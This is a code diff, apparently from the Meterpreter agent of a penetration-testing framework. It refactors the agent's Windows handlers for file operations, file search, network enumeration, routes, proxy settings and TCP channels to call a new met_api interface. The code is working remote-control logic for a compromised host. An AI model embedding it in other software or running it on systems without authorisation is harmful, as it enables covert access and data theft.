oldpath = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FILE_NAME);
newpath = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FILE_PATH);
if (!oldpath) {
result = ERROR_INVALID_PARAMETER;
@ -440,7 +441,7 @@ DWORD request_fs_file_move(Remote *remote, Packet *packet)
result = fs_move(oldpath, newpath);
}
return packet_transmit_response(result, remote, response);
return met_api->packet.transmit_response(result, remote, response);
}
/*
@ -450,13 +451,13 @@ DWORD request_fs_file_move(Remote *remote, Packet *packet)
*/
DWORD request_fs_file_copy(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
Packet *response = met_api->packet.create_response(packet);
DWORD result = ERROR_SUCCESS;
char *oldpath;
char *newpath;
oldpath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_NAME);
newpath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH);
oldpath = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FILE_NAME);
newpath = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FILE_PATH);
if (!oldpath) {
result = ERROR_INVALID_PARAMETER;
@ -464,5 +465,5 @@ DWORD request_fs_file_copy(Remote *remote, Packet *packet)
result = fs_copy(oldpath, newpath);
}
return packet_transmit_response(result, remote, response);
return met_api->packet.transmit_response(result, remote, response);
}

View File

@ -2,6 +2,7 @@
#include "fs_local.h"
#include "precomp.h"
#include "common_metapi.h"
BOOL DeleteFolderWR(LPCWSTR szPath)
{
@ -111,7 +112,7 @@ char * fs_expand_path(const char *regular)
wchar_t expanded_path[FS_MAX_PATH];
wchar_t *regular_w;
regular_w = utf8_to_wchar(regular);
regular_w = met_api->string.utf8_to_wchar(regular);
if (regular_w == NULL) {
return NULL;
}
@ -123,7 +124,7 @@ char * fs_expand_path(const char *regular)
free(regular_w);
return wchar_to_utf8(expanded_path);
return met_api->string.wchar_to_utf8(expanded_path);
}
int fs_ls(const char *directory, fs_ls_cb_t cb, void *arg)
@ -174,7 +175,7 @@ int fs_ls(const char *directory, fs_ls_cb_t cb, void *arg)
}
WIN32_FIND_DATAW data;
wchar_t *path_w = utf8_to_wchar(expanded);
wchar_t *path_w = met_api->string.utf8_to_wchar(expanded);
if (path_w == NULL) {
result = GetLastError();
goto out;
@ -192,8 +193,8 @@ int fs_ls(const char *directory, fs_ls_cb_t cb, void *arg)
break;
}
char *filename = wchar_to_utf8(data.cFileName);
char *short_filename = wchar_to_utf8(data.cAlternateFileName);
char *filename = met_api->string.wchar_to_utf8(data.cFileName);
char *short_filename = met_api->string.wchar_to_utf8(data.cAlternateFileName);
char path[FS_MAX_PATH];
if (baseDirectory) {
@ -223,7 +224,7 @@ out:
int fs_chdir(const char *directory)
{
int rc = ERROR_SUCCESS;
wchar_t *dir_w = utf8_to_wchar(directory);
wchar_t *dir_w = met_api->string.utf8_to_wchar(directory);
if (dir_w == NULL) {
rc = GetLastError();
@ -242,7 +243,7 @@ out:
int fs_delete_dir(const char *directory)
{
int rc = ERROR_SUCCESS;
wchar_t *dir_w = utf8_to_wchar(directory);
wchar_t *dir_w = met_api->string.utf8_to_wchar(directory);
if (dir_w == NULL) {
rc = GetLastError();
@ -261,7 +262,7 @@ out:
int fs_delete_file(const char *path)
{
int rc = ERROR_SUCCESS;
wchar_t *path_w = utf8_to_wchar(path);
wchar_t *path_w = met_api->string.utf8_to_wchar(path);
if (path_w == NULL) {
rc = GetLastError();
@ -293,7 +294,7 @@ int fs_getwd(char **dir)
goto out;
}
*dir = wchar_to_utf8(dir_w);
*dir = met_api->string.wchar_to_utf8(dir_w);
if (*dir == NULL) {
rc = GetLastError();
}
@ -305,8 +306,8 @@ out:
int fs_move(const char *oldpath, const char *newpath)
{
int rc = ERROR_SUCCESS;
wchar_t *old_w = utf8_to_wchar(oldpath);
wchar_t *new_w = utf8_to_wchar(newpath);
wchar_t *old_w = met_api->string.utf8_to_wchar(oldpath);
wchar_t *new_w = met_api->string.utf8_to_wchar(newpath);
if ((old_w == NULL) || (new_w == NULL)) {
rc = GetLastError();
@ -326,8 +327,8 @@ out:
int fs_copy(const char *oldpath, const char *newpath)
{
int rc = ERROR_SUCCESS;
wchar_t *old_w = utf8_to_wchar(oldpath);
wchar_t *new_w = utf8_to_wchar(newpath);
wchar_t *old_w = met_api->string.utf8_to_wchar(oldpath);
wchar_t *new_w = met_api->string.utf8_to_wchar(newpath);
if ((old_w == NULL) || (new_w == NULL)) {
rc = GetLastError();
@ -347,7 +348,7 @@ out:
int fs_mkdir(const char *directory)
{
int rc = ERROR_SUCCESS;
wchar_t *dir_w = utf8_to_wchar(directory);
wchar_t *dir_w = met_api->string.utf8_to_wchar(directory);
if (dir_w == NULL) {
rc = GetLastError();
@ -376,8 +377,8 @@ int fs_fopen(const char *path, const char *mode, FILE **f)
return ERROR_NOT_ENOUGH_MEMORY;
}
wchar_t *path_w = utf8_to_wchar(expanded);
wchar_t *mode_w = utf8_to_wchar(mode);
wchar_t *path_w = met_api->string.utf8_to_wchar(expanded);
wchar_t *mode_w = met_api->string.utf8_to_wchar(mode);
if ((path_w == NULL) || (mode_w == NULL)) {
rc = ERROR_NOT_ENOUGH_MEMORY;
@ -501,7 +502,7 @@ win32_wstat(const wchar_t* path, struct meterp_stat *result)
int fs_stat(char *filename, struct meterp_stat *buf)
{
wchar_t *filename_w = utf8_to_wchar(filename);
wchar_t *filename_w = met_api->string.utf8_to_wchar(filename);
if (filename_w == NULL) {
return -1;
}

View File

@ -1,4 +1,5 @@
#include "precomp.h"
#include "common_metapi.h"
#pragma comment(lib, "mpr.lib")
@ -8,7 +9,7 @@
DWORD request_fs_mount_show(Remote *remote, Packet *packet)
{
DWORD dwResult = ERROR_SUCCESS;
Packet *response = packet_create_response(packet);
Packet *response = met_api->packet.create_response(packet);
CHAR driveStrings[DRIVE_STRINGS_LEN] = { 0 };
@ -25,12 +26,12 @@ DWORD request_fs_mount_show(Remote *remote, Packet *packet)
{
dprintf("[MOUNT] Drive found: %s", d);
Packet* driveData = packet_create_group();
Packet* driveData = met_api->packet.create_group();
UINT driveType = GetDriveTypeA(d);
dprintf("[MOUNT] %s drive type %u (0x%x)", d, driveType, driveType);
packet_add_tlv_string(driveData, TLV_TYPE_MOUNT_NAME, d);
packet_add_tlv_uint(driveData, TLV_TYPE_MOUNT_TYPE, driveType);
met_api->packet.add_tlv_string(driveData, TLV_TYPE_MOUNT_NAME, d);
met_api->packet.add_tlv_uint(driveData, TLV_TYPE_MOUNT_TYPE, driveType);
// get network UNC path if it's a network drive
if (driveType == DRIVE_REMOTE)
@ -49,7 +50,7 @@ DWORD request_fs_mount_show(Remote *remote, Packet *packet)
UNIVERSAL_NAME_INFOA* nameInfo = (UNIVERSAL_NAME_INFOA*)buffer;
if (nameInfo->lpUniversalName)
{
packet_add_tlv_string(driveData, TLV_TYPE_MOUNT_UNCPATH, nameInfo->lpUniversalName);
met_api->packet.add_tlv_string(driveData, TLV_TYPE_MOUNT_UNCPATH, nameInfo->lpUniversalName);
}
}
else
@ -68,16 +69,16 @@ DWORD request_fs_mount_show(Remote *remote, Packet *packet)
dprintf("[MOUNT] %s getting free space ...", d);
if (GetDiskFreeSpaceExA(d, &userFreeBytes, &totalBytes, &totalFreeBytes) != 0)
{
packet_add_tlv_qword(driveData, TLV_TYPE_MOUNT_SPACE_USER, userFreeBytes.QuadPart);
packet_add_tlv_qword(driveData, TLV_TYPE_MOUNT_SPACE_TOTAL, totalBytes.QuadPart);
packet_add_tlv_qword(driveData, TLV_TYPE_MOUNT_SPACE_FREE, totalFreeBytes.QuadPart);
met_api->packet.add_tlv_qword(driveData, TLV_TYPE_MOUNT_SPACE_USER, userFreeBytes.QuadPart);
met_api->packet.add_tlv_qword(driveData, TLV_TYPE_MOUNT_SPACE_TOTAL, totalBytes.QuadPart);
met_api->packet.add_tlv_qword(driveData, TLV_TYPE_MOUNT_SPACE_FREE, totalFreeBytes.QuadPart);
}
packet_add_group(response, TLV_TYPE_MOUNT, driveData);
met_api->packet.add_group(response, TLV_TYPE_MOUNT, driveData);
}
} while (0);
packet_transmit_response(dwResult, remote, response);
met_api->packet.transmit_response(dwResult, remote, response);
return ERROR_SUCCESS;
}

View File

@ -11,6 +11,7 @@
*/
#include "precomp.h"
#include "common_metapi.h"
#include "fs.h"
#include "fs_local.h"
#include "search.h"
@ -20,19 +21,19 @@
*/
VOID search_add_result(Packet * pResponse, wchar_t *directory, wchar_t *fileName, DWORD dwFileSize)
{
char *dir = wchar_to_utf8(directory);
char *file = wchar_to_utf8(fileName);
char *dir = met_api->string.wchar_to_utf8(directory);
char *file = met_api->string.wchar_to_utf8(fileName);
dprintf("[SEARCH] Found: %s\\%s", dir, file);
if (dir && file) {
Packet* group = packet_create_group();
Packet* group = met_api->packet.create_group();
packet_add_tlv_string(group, TLV_TYPE_FILE_PATH, dir);
packet_add_tlv_string(group, TLV_TYPE_FILE_NAME, file);
packet_add_tlv_uint(group, TLV_TYPE_FILE_SIZE, dwFileSize);
met_api->packet.add_tlv_string(group, TLV_TYPE_FILE_PATH, dir);
met_api->packet.add_tlv_string(group, TLV_TYPE_FILE_NAME, file);
met_api->packet.add_tlv_uint(group, TLV_TYPE_FILE_SIZE, dwFileSize);
packet_add_group(pResponse, TLV_TYPE_SEARCH_RESULTS, group);
met_api->packet.add_group(pResponse, TLV_TYPE_SEARCH_RESULTS, group);
}
free(dir);
@ -799,17 +800,17 @@ DWORD request_fs_search(Remote * pRemote, Packet * pPacket)
dprintf("[SEARCH] request_fs_search. Starting.");
pResponse = packet_create_response(pPacket);
pResponse = met_api->packet.create_response(pPacket);
if (!pResponse) {
dprintf("[SEARCH] request_fs_search: pResponse == NULL");
return ERROR_INVALID_HANDLE;
}
options.rootDirectory = utf8_to_wchar(
packet_get_tlv_value_string(pPacket, TLV_TYPE_SEARCH_ROOT));
options.rootDirectory = met_api->string.utf8_to_wchar(
met_api->packet.get_tlv_value_string(pPacket, TLV_TYPE_SEARCH_ROOT));
options.glob = utf8_to_wchar(
packet_get_tlv_value_string(pPacket, TLV_TYPE_SEARCH_GLOB));
options.glob = met_api->string.utf8_to_wchar(
met_api->packet.get_tlv_value_string(pPacket, TLV_TYPE_SEARCH_GLOB));
if (options.rootDirectory && wcslen(options.rootDirectory) == 0) {
free(options.rootDirectory);
@ -829,7 +830,7 @@ DWORD request_fs_search(Remote * pRemote, Packet * pPacket)
dprintf("[SEARCH] root: '%S' glob: '%S'", options.rootDirectory, options.glob);
options.bResursive = packet_get_tlv_value_bool(pPacket, TLV_TYPE_SEARCH_RECURSE);
options.bResursive = met_api->packet.get_tlv_value_bool(pPacket, TLV_TYPE_SEARCH_RECURSE);
if (!options.glob) {
options.glob = L"*.*";
@ -870,7 +871,7 @@ DWORD request_fs_search(Remote * pRemote, Packet * pPacket)
if (pResponse)
{
dwResult = packet_transmit_response(dwResult, pRemote, pResponse);
dwResult = met_api->packet.transmit_response(dwResult, pRemote, pResponse);
}
wds_shutdown(&WDSInterface);

View File

@ -1,5 +1,7 @@
#include "precomp.h"
#include "common_metapi.h"
extern DWORD request_audio_output_channel_open(Remote *remote, Packet *packet);
extern DWORD request_net_tcp_client_channel_open(Remote *remote, Packet *packet);
extern DWORD request_net_tcp_server_channel_open(Remote *remote, Packet *packet);
@ -34,17 +36,16 @@ DWORD request_general_channel_open(Remote *remote, Packet *packet)
do
{
// Get the requested channel type
channelType = packet_get_tlv_value_string(packet,
TLV_TYPE_CHANNEL_TYPE);
channelType = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_CHANNEL_TYPE);
// No channel? Lame.
if (!channelType)
{
break;
}
// Enumerate the channel type dispatch table searching for a match
for (index = 0;
channel_open_handlers[index].type;
index++)
for (index = 0; channel_open_handlers[index].type; index++)
{
if (!strcmp(channel_open_handlers[index].type, channelType))
{

View File

@ -1,5 +1,7 @@
#include "precomp.h"
#include "common_metapi.h"
DWORD get_arp_table(Remote *remote, Packet *response)
{
PMIB_IPNETTABLE pIpNetTable = NULL;
@ -49,7 +51,7 @@ DWORD get_arp_table(Remote *remote, Packet *response)
arp[2].header.length = (DWORD)strlen(interface_index) + 1;
arp[2].buffer = (PUCHAR)interface_index;
packet_add_tlv_group(response, TLV_TYPE_ARP_ENTRY, arp, 3);
met_api->packet.add_tlv_group(response, TLV_TYPE_ARP_ENTRY, arp, 3);
}
}
free(pIpNetTable);
@ -68,12 +70,12 @@ DWORD get_arp_table(Remote *remote, Packet *response)
*/
DWORD request_net_config_get_arp_table(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
Packet *response = met_api->packet.create_response(packet);
DWORD result;
result = get_arp_table(remote, response);
packet_transmit_response(result, remote, response);
met_api->packet.transmit_response(result, remote, response);
return ERROR_SUCCESS;
}

View File

@ -1,4 +1,5 @@
#include "precomp.h"
#include "common_metapi.h"
#include <iptypes.h>
#include <ws2ipdef.h>
@ -42,28 +43,28 @@ DWORD get_interfaces_mib(Remote *remote, Packet *response)
// Enumerate the entries
for (index = 0; index < table->dwNumEntries; index++)
{
Packet* group = packet_create_group();
Packet* group = met_api->packet.create_group();
packet_add_tlv_uint(group, TLV_TYPE_INTERFACE_INDEX, table->table[index].dwIndex);
packet_add_tlv_raw(group, TLV_TYPE_IP, (PUCHAR)&table->table[index].dwAddr, sizeof(DWORD));
packet_add_tlv_raw(group, TLV_TYPE_NETMASK, (PUCHAR)&table->table[index].dwMask, sizeof(DWORD));
met_api->packet.add_tlv_uint(group, TLV_TYPE_INTERFACE_INDEX, table->table[index].dwIndex);
met_api->packet.add_tlv_raw(group, TLV_TYPE_IP, (PUCHAR)&table->table[index].dwAddr, sizeof(DWORD));
met_api->packet.add_tlv_raw(group, TLV_TYPE_NETMASK, (PUCHAR)&table->table[index].dwMask, sizeof(DWORD));
iface.dwIndex = table->table[index].dwIndex;
// If interface information can get gotten, use it.
if (GetIfEntry(&iface) == NO_ERROR)
{
packet_add_tlv_raw(group, TLV_TYPE_MAC_ADDR, (PUCHAR)iface.bPhysAddr, iface.dwPhysAddrLen);
packet_add_tlv_uint(group, TLV_TYPE_INTERFACE_MTU, iface.dwMtu);
met_api->packet.add_tlv_raw(group, TLV_TYPE_MAC_ADDR, (PUCHAR)iface.bPhysAddr, iface.dwPhysAddrLen);
met_api->packet.add_tlv_uint(group, TLV_TYPE_INTERFACE_MTU, iface.dwMtu);
if (iface.bDescr)
{
packet_add_tlv_string(group, TLV_TYPE_MAC_NAME, iface.bDescr);
met_api->packet.add_tlv_string(group, TLV_TYPE_MAC_NAME, iface.bDescr);
}
}
// Add the interface group
packet_add_group(response, TLV_TYPE_NETWORK_INTERFACE, group);
met_api->packet.add_group(response, TLV_TYPE_NETWORK_INTERFACE, group);
}
free(table);
@ -144,19 +145,19 @@ DWORD get_interfaces(Remote *remote, Packet *response)
// Save the first prefix for later in case we don't have an OnLinkPrefixLength
pPrefix = pCurr->FirstPrefix;
Packet* group = packet_create_group();
Packet* group = met_api->packet.create_group();
dprintf("[INTERFACE] Adding index: %u", pCurr->IfIndex);
packet_add_tlv_uint(group, TLV_TYPE_INTERFACE_INDEX, pCurr->IfIndex);
met_api->packet.add_tlv_uint(group, TLV_TYPE_INTERFACE_INDEX, pCurr->IfIndex);
dprintf("[INTERFACE] Adding MAC");
packet_add_tlv_raw(group, TLV_TYPE_MAC_ADDR, (PUCHAR)pCurr->PhysicalAddress, pCurr->PhysicalAddressLength);
met_api->packet.add_tlv_raw(group, TLV_TYPE_MAC_ADDR, (PUCHAR)pCurr->PhysicalAddress, pCurr->PhysicalAddressLength);
dprintf("[INTERFACE] Adding Description");
packet_add_tlv_wstring(group, TLV_TYPE_MAC_NAME, pCurr->Description);
met_api->packet.add_tlv_wstring(group, TLV_TYPE_MAC_NAME, pCurr->Description);
dprintf("[INTERFACE] Adding MTU: %u", pCurr->Mtu);
packet_add_tlv_uint(group, TLV_TYPE_INTERFACE_MTU, pCurr->Mtu);
met_api->packet.add_tlv_uint(group, TLV_TYPE_INTERFACE_MTU, pCurr->Mtu);
for (pAddr = (IP_ADAPTER_UNICAST_ADDRESS_LH*)pCurr->FirstUnicastAddress;
pAddr; pAddr = pAddr->Next)
@ -191,24 +192,24 @@ DWORD get_interfaces(Remote *remote, Packet *response)
dprintf("[INTERFACE] Adding Prefix: %x", prefix);
// the UINT value is already byte-swapped, so we add it as a raw instead of
// swizzling the bytes twice.
packet_add_tlv_raw(group, TLV_TYPE_IP_PREFIX, (PUCHAR)&prefix, sizeof(prefix));
met_api->packet.add_tlv_raw(group, TLV_TYPE_IP_PREFIX, (PUCHAR)&prefix, sizeof(prefix));
}
if (sockaddr->sa_family == AF_INET)
{
dprintf("[INTERFACE] Adding IPv4 Address: %x", ((struct sockaddr_in *)sockaddr)->sin_addr);
packet_add_tlv_raw(group, TLV_TYPE_IP, (PUCHAR)&(((struct sockaddr_in *)sockaddr)->sin_addr), 4);
met_api->packet.add_tlv_raw(group, TLV_TYPE_IP, (PUCHAR)&(((struct sockaddr_in *)sockaddr)->sin_addr), 4);
}
else
{
dprintf("[INTERFACE] Adding IPv6 Address");
packet_add_tlv_raw(group, TLV_TYPE_IP, (PUCHAR)&(((struct sockaddr_in6 *)sockaddr)->sin6_addr), 16);
packet_add_tlv_raw(group, TLV_TYPE_IP6_SCOPE, (PUCHAR)&(((struct sockaddr_in6 *)sockaddr)->sin6_scope_id), sizeof(DWORD));
met_api->packet.add_tlv_raw(group, TLV_TYPE_IP, (PUCHAR)&(((struct sockaddr_in6 *)sockaddr)->sin6_addr), 16);
met_api->packet.add_tlv_raw(group, TLV_TYPE_IP6_SCOPE, (PUCHAR)&(((struct sockaddr_in6 *)sockaddr)->sin6_scope_id), sizeof(DWORD));
}
}
// Add the interface group
packet_add_group(response, TLV_TYPE_NETWORK_INTERFACE, group);
met_api->packet.add_group(response, TLV_TYPE_NETWORK_INTERFACE, group);
}
out:
@ -222,13 +223,13 @@ out:
*/
DWORD request_net_config_get_interfaces(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
Packet *response = met_api->packet.create_response(packet);
DWORD result = ERROR_SUCCESS;
result = get_interfaces(remote, response);
// Transmit the response if valid
packet_transmit_response(result, remote, response);
met_api->packet.transmit_response(result, remote, response);
return result;
}

View File

@ -1,5 +1,7 @@
#include "precomp.h"
#include "common_metapi.h"
// Note: both connection_entry and connection_table were moved from
// common.h into here because:
// 1) connection_table contains a zero-length array which causes all C++
@ -564,12 +566,14 @@ DWORD get_connection_table(Remote *remote, Packet *response)
connection[6].header.length = (DWORD)strlen((char*)current_connection->program_name) + 1;
connection[6].buffer = (PUCHAR)(current_connection->program_name);
packet_add_tlv_group(response, TLV_TYPE_NETSTAT_ENTRY, connection, 7);
met_api->packet.add_tlv_group(response, TLV_TYPE_NETSTAT_ENTRY, connection, 7);
}
dprintf("sent %d connections", table_connection->entries);
if (table_connection)
{
free(table_connection);
}
return ERROR_SUCCESS;
}
@ -579,12 +583,12 @@ DWORD get_connection_table(Remote *remote, Packet *response)
*/
DWORD request_net_config_get_netstat(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
Packet *response = met_api->packet.create_response(packet);
DWORD result;
result = get_connection_table(remote, response);
packet_transmit_response(result, remote, response);
met_api->packet.transmit_response(result, remote, response);
return ERROR_SUCCESS;
}

View File

@ -1,4 +1,5 @@
#include "precomp.h"
#include "common_metapi.h"
typedef struct
{
@ -26,7 +27,7 @@ typedef BOOL (WINAPI * PWINHTTPGETIEPROXYCONFIGFORCURRENTUSER)(
DWORD request_net_config_get_proxy_config(Remote *remote, Packet *packet)
{
DWORD dwResult = ERROR_NOT_SUPPORTED;
Packet *response = packet_create_response(packet);
Packet *response = met_api->packet.create_response(packet);
HMODULE hWinHttp = NULL;
PWINHTTPGETIEPROXYCONFIGFORCURRENTUSER pProxyFun = NULL;
@ -49,20 +50,20 @@ DWORD request_net_config_get_proxy_config(Remote *remote, Packet *packet)
break;
}
packet_add_tlv_bool(response, TLV_TYPE_PROXY_CFG_AUTODETECT, proxyConfig.fAutoDetect);
met_api->packet.add_tlv_bool(response, TLV_TYPE_PROXY_CFG_AUTODETECT, proxyConfig.fAutoDetect);
if (proxyConfig.lpszAutoConfigUrl) {
packet_add_tlv_wstring(response, TLV_TYPE_PROXY_CFG_AUTOCONFIGURL, proxyConfig.lpszAutoConfigUrl);
met_api->packet.add_tlv_wstring(response, TLV_TYPE_PROXY_CFG_AUTOCONFIGURL, proxyConfig.lpszAutoConfigUrl);
GlobalFree((HGLOBAL)proxyConfig.lpszAutoConfigUrl);
}
if (proxyConfig.lpszProxy) {
packet_add_tlv_wstring(response, TLV_TYPE_PROXY_CFG_PROXY, proxyConfig.lpszProxy);
met_api->packet.add_tlv_wstring(response, TLV_TYPE_PROXY_CFG_PROXY, proxyConfig.lpszProxy);
GlobalFree((HGLOBAL)proxyConfig.lpszProxy);
}
if (proxyConfig.lpszProxyBypass) {
packet_add_tlv_wstring(response, TLV_TYPE_PROXY_CFG_PROXYBYPASS, proxyConfig.lpszProxyBypass);
met_api->packet.add_tlv_wstring(response, TLV_TYPE_PROXY_CFG_PROXYBYPASS, proxyConfig.lpszProxyBypass);
GlobalFree((HGLOBAL)proxyConfig.lpszProxyBypass);
}
@ -74,7 +75,7 @@ DWORD request_net_config_get_proxy_config(Remote *remote, Packet *packet)
FreeLibrary(hWinHttp);
}
packet_transmit_response(dwResult, remote, response);
met_api->packet.transmit_response(dwResult, remote, response);
return dwResult;
}

View File

@ -1,4 +1,5 @@
#include "precomp.h"
#include "common_metapi.h"
DWORD add_remove_route(Packet *request, BOOLEAN add);
@ -7,7 +8,7 @@ DWORD add_remove_route(Packet *request, BOOLEAN add);
*/
DWORD request_net_config_get_routes(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
Packet *response = met_api->packet.create_response(packet);
DWORD result = ERROR_SUCCESS;
DWORD index;
DWORD metric_bigendian;
@ -62,7 +63,7 @@ DWORD request_net_config_get_routes(Remote *remote, Packet *packet)
route[4].header.length = sizeof(DWORD);
route[4].buffer = (PUCHAR)&metric_bigendian;
packet_add_tlv_group(response, TLV_TYPE_NETWORK_ROUTE,
met_api->packet.add_tlv_group(response, TLV_TYPE_NETWORK_ROUTE,
route, 5);
}
@ -73,7 +74,7 @@ DWORD request_net_config_get_routes(Remote *remote, Packet *packet)
if(table_ipv6)
free(table_ipv6);
packet_transmit_response(result, remote, response);
met_api->packet.transmit_response(result, remote, response);
return ERROR_SUCCESS;
}
@ -83,13 +84,13 @@ DWORD request_net_config_get_routes(Remote *remote, Packet *packet)
*/
DWORD request_net_config_add_route(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
Packet *response = met_api->packet.create_response(packet);
DWORD result = ERROR_SUCCESS;
result = add_remove_route(packet, TRUE);
// Transmit the response packet
packet_transmit_response(result, remote, response);
met_api->packet.transmit_response(result, remote, response);
return ERROR_SUCCESS;
}
@ -99,13 +100,13 @@ DWORD request_net_config_add_route(Remote *remote, Packet *packet)
*/
DWORD request_net_config_remove_route(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
Packet *response = met_api->packet.create_response(packet);
DWORD result;
result = add_remove_route(packet, FALSE);
// Transmit the response packet
packet_transmit_response(result, remote, response);
met_api->packet.transmit_response(result, remote, response);
return ERROR_SUCCESS;
}
@ -121,9 +122,9 @@ DWORD add_remove_route(Packet *packet, BOOLEAN add)
LPCSTR netmask;
LPCSTR gateway;
subnet = packet_get_tlv_value_string(packet, TLV_TYPE_SUBNET_STRING);
netmask = packet_get_tlv_value_string(packet, TLV_TYPE_NETMASK_STRING);
gateway = packet_get_tlv_value_string(packet, TLV_TYPE_GATEWAY_STRING);
subnet = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_SUBNET_STRING);
netmask = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_NETMASK_STRING);
gateway = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_GATEWAY_STRING);
memset(&route, 0, sizeof(route));

View File

@ -1,4 +1,5 @@
#include "precomp.h"
#include "common_metapi.h"
#include <winsock2.h>
#include <ws2tcpip.h>
@ -64,8 +65,8 @@ DWORD net_tlv_pack_local_addrinfo(SocketContext *sock_ctx, Packet *packet)
return ERROR_OUTOFMEMORY;
}
packet_add_tlv_string(packet, TLV_TYPE_LOCAL_HOST, localhost);
packet_add_tlv_uint(packet, TLV_TYPE_LOCAL_PORT, localport);
met_api->packet.add_tlv_string(packet, TLV_TYPE_LOCAL_HOST, localhost);
met_api->packet.add_tlv_uint(packet, TLV_TYPE_LOCAL_PORT, localport);
free(localhost);
localhost = NULL;
return ERROR_SUCCESS;

View File

@ -1,4 +1,5 @@
#include "precomp.h"
#include "common_metapi.h"
#include <stdio.h>
#include <winsock2.h>
@ -59,14 +60,14 @@ DWORD resolve_host(LPCSTR hostname, u_short ai_family, struct in_addr *result, s
DWORD request_resolve_host(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
Packet *response = met_api->packet.create_response(packet);
LPCSTR hostname = NULL;
struct in_addr addr;
struct in6_addr addr6;
u_short ai_family = AF_INET;
int iResult;
hostname = packet_get_tlv_value_string(packet, TLV_TYPE_HOST_NAME);
hostname = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_HOST_NAME);
if (!hostname)
{
@ -75,17 +76,17 @@ DWORD request_resolve_host(Remote *remote, Packet *packet)
}
else
{
ai_family = packet_get_tlv_value_uint(packet, TLV_TYPE_ADDR_TYPE);
ai_family = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_ADDR_TYPE);
iResult = resolve_host(hostname, ai_family, &addr, &addr6);
if (iResult == NO_ERROR)
{
if (ai_family == AF_INET)
{
packet_add_tlv_raw(response, TLV_TYPE_IP, &addr, sizeof(struct in_addr));
met_api->packet.add_tlv_raw(response, TLV_TYPE_IP, &addr, sizeof(struct in_addr));
} else {
packet_add_tlv_raw(response, TLV_TYPE_IP, &addr6, sizeof(struct in_addr6));
met_api->packet.add_tlv_raw(response, TLV_TYPE_IP, &addr6, sizeof(struct in_addr6));
}
packet_add_tlv_uint(response, TLV_TYPE_ADDR_TYPE, ai_family);
met_api->packet.add_tlv_uint(response, TLV_TYPE_ADDR_TYPE, ai_family);
}
else
{
@ -93,19 +94,19 @@ DWORD request_resolve_host(Remote *remote, Packet *packet)
}
}
packet_transmit_response(iResult, remote, response);
met_api->packet.transmit_response(iResult, remote, response);
return ERROR_SUCCESS;
}
DWORD request_resolve_hosts(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
Packet *response = met_api->packet.create_response(packet);
Tlv hostname = {0};
int index = 0;
int iResult;
u_short ai_family = packet_get_tlv_value_uint(packet, TLV_TYPE_ADDR_TYPE);
u_short ai_family = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_ADDR_TYPE);
while( packet_enum_tlv( packet, index++, TLV_TYPE_HOST_NAME, &hostname ) == ERROR_SUCCESS )
while( met_api->packet.enum_tlv( packet, index++, TLV_TYPE_HOST_NAME, &hostname ) == ERROR_SUCCESS )
{
struct in_addr addr = {0};
struct in6_addr addr6 = {0};
@ -116,19 +117,19 @@ DWORD request_resolve_hosts(Remote *remote, Packet *packet)
{
if (ai_family == AF_INET)
{
packet_add_tlv_raw(response, TLV_TYPE_IP, &addr, sizeof(struct in_addr));
met_api->packet.add_tlv_raw(response, TLV_TYPE_IP, &addr, sizeof(struct in_addr));
} else {
packet_add_tlv_raw(response, TLV_TYPE_IP, &addr6, sizeof(struct in_addr6));
met_api->packet.add_tlv_raw(response, TLV_TYPE_IP, &addr6, sizeof(struct in_addr6));
}
}
else
{
dprintf("Unable to resolve_host %s error: %x", hostname.buffer, iResult);
packet_add_tlv_raw(response, TLV_TYPE_IP, NULL, 0);
met_api->packet.add_tlv_raw(response, TLV_TYPE_IP, NULL, 0);
}
packet_add_tlv_uint(response, TLV_TYPE_ADDR_TYPE, ai_family);
met_api->packet.add_tlv_uint(response, TLV_TYPE_ADDR_TYPE, ai_family);
}
packet_transmit_response(NO_ERROR, remote, response);
met_api->packet.transmit_response(NO_ERROR, remote, response);
return ERROR_SUCCESS;
}

View File

@ -3,6 +3,7 @@
* @brief Definitions for functionality that handles TCP client operations.
*/
#include "precomp.h"
#include "common_metapi.h"
#include "tcp.h"
/*!
@ -119,7 +120,7 @@ DWORD tcp_channel_client_close(Channel *channel, Packet *request, LPVOID context
free_tcp_client_context(ctx);
// Set the native channel operations context to NULL
channel_set_native_io_context(channel, NULL);
met_api->channel.set_native_io_context(channel, NULL);
}
return ERROR_SUCCESS;
@ -187,7 +188,7 @@ DWORD tcp_channel_client_local_notify(Remote * remote, TcpClientContext * ctx)
dprintf("[TCP] tcp_channel_client_local_notify. [closed] channel=0x%08X read=0x%.8x", ctx->channel, dwBytesRead);
// Set the native channel operations context to NULL
channel_set_native_io_context(ctx->channel, NULL);
met_api->channel.set_native_io_context(ctx->channel, NULL);
// Sleep for a quarter second
Sleep(250);
@ -203,7 +204,7 @@ DWORD tcp_channel_client_local_notify(Remote * remote, TcpClientContext * ctx)
if (ctx->channel)
{
dprintf("[TCP] tcp_channel_client_local_notify. [data] channel=0x%08X read=%d", ctx->channel, dwBytesRead);
channel_write(ctx->channel, ctx->remote, NULL, 0, buf, dwBytesRead, 0);
met_api->channel.write(ctx->channel, ctx->remote, NULL, 0, buf, dwBytesRead, 0);
}
else
{
@ -230,7 +231,7 @@ DWORD request_net_tcp_client_channel_open(Remote *remote, Packet *packet)
{
Channel *channel = NULL;
TcpClientContext *ctx = NULL;
Packet *response = packet_create_response(packet);
Packet *response = met_api->packet.create_response(packet);
DWORD result = ERROR_SUCCESS;
LPCSTR host;
DWORD port;
